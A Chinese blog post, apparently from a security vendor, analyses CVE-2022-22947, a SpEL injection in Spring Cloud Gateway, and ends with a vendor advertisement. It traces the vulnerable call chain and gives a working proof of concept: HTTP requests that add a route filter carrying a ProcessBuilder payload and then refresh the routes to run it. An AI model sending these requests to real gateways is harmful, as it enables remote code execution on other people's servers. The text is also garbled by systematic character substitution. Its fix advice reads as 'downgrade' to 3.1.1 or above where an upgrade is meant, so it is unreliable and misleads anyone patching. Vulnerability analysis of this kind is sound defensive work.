乐趣区

关于供应链:CVE202222947-SpringCloud-GateWay-SPEL-RCE-漏洞分析

破绽概要

Spring Cloud Gateway 是 Spring Cloud 生态中的 API 网关,蕴含限流、过滤等 API 治理性能。
Spring 官网在 2022 年 3 月 1 日公布新版本修复了 Spring Cloud Gateway 中的一处代码注入破绽。当 actuator 端点开启或裸露时,能够通过 http 申请批改路由,路由中蕴含的歹意 filter 参数会通过 SPEL 表达式解析,从而导致近程主机执行任意代码。

  • 影响范畴:
    org.springframework.cloud:spring-cloud-gateway-server@[3.1.0, 3.1.1)
    org.springframework.cloud:spring-cloud-gateway-server@[2.2.6.RELEASE, 3.0.7)
  • 修复计划:
    将组件 org.springframework.cloud:spring-cloud-gateway-server 降级至 3.1.1 及以上版本
    将组件 org.springframework.cloud:spring-cloud-gateway-server 降级至 3.0.7 及以上版本
  • 破绽链接:https://www.oscs1024.com/hd/M…

以下内容来自公众号《平安日记》Erikten 对该破绽的剖析:

0x00 环境搭建

CVE-2022-22947 SpringCloud GateWay SPEL RCE 破绽剖析,间接去 GitHub 上下载即可。

git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0

0x01 破绽剖析

首先这个破绽的实质就是一个 Spel 表达式注入。破绽的触发点位于 org/springframework/cloud/gateway/support/ShortcutConfigurable.java#getValue,看 diff 点能够发现在平安版本中官网将 StandardEvaluationContext 更换为了 GatewayEvaluationContext 去执行 Spel 表达式

咱们回溯一下 getValue 这个办法,发现在 org/springframework/cloud/gateway/support/ShortcutConfigurable.java#ShortcutType 这个枚举中的 DEFAULT 被调用

那么就去跟一下哪里调了 ShortcutType.DEFAULT,发现在 org/springframework/cloud/gateway/support/ShortcutConfigurable.java#shortcutType 调用了它

最终在 org/springframework/cloud/gateway/support/ConfigurationService.java#normalizeProperties 对 filter 属性进行解析,最初进入 getValue 执行 SPEL 表达式造成 SPEL 表达式注入。

持续向上,来到 org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters,依据这个办法的名字大略也能猜出它的做作用,就是增加路由 filters

持续反复之前的操作(向上回溯),会找到这么一条调用链

RouteDefinitionRouteLocator#loadGatewayFilters ->
RouteDefinitionRouteLocator#getFilters -> 
RouteDefinitionRouteLocator#convertToRoute -> 
RouteDefinitionRouteLocator#getRoutes -> 
GatewayControllerEndpoint#routes

整体流程大抵理解了,就是增加路由 filter 而后拜访,通过 getValue 触发 Spel 注入最终实现 RCE,那么怎么增加路由呢?咱们去看下手册 https://cloud.spring.io/sprin…

来到 org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save,能够看到 POST 的申请体对应的内容

Filters 内容

0x02 结构 PoC

首先创立路由 filter

POST /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 212

{
  "id": "test",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "any",
      "value": "#{new ProcessBuilder(\"calc\").start()}"
    }
  }],
   "uri": "http://test.com"
}

发包能够发现 payload 曾经注入进 filter 了

接下来刷新一下

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 2

首先在 org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties 遍历 filters 属性

接着通过 org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize 调 getValue 解析属性

造成 Spel 注入

最终解锁计算器

0x03 参考链接

https://www.cnblogs.com/bitte…

  • https://xz.aliyun.com/t/11004…

收费情报订阅 & 代码平安检测

墨菲平安是一家为您提供业余的软件供应链平安治理的科技公司,外围团队来自百度、华为、乌云等企业,公司为客户提供残缺的软件供应链平安治理平台,围绕 SBOM 提供软件全生命周期的平安治理,平台能力包含软件成分剖析、源平安治理、容器镜像检测、破绽情报预警及商业软件供应链准入评估等多个产品。为客户提供从供应链资产辨认治理、危险检测、安全控制、一键修复的残缺控制能力。同时产品能够极低成本的和现有开发流程中的各种工具一键买通,包含 IDE、Gitlab、Bitbucket、Jenkins、Harbor、Nexus 等数十种工具无缝集成。

代码平安检测:https://www.murphysec.com/?sf…
情报订阅:https://www.oscs1024.com/cm/?…
破绽库:https://www.oscs1024.com/hl/?…

退出移动版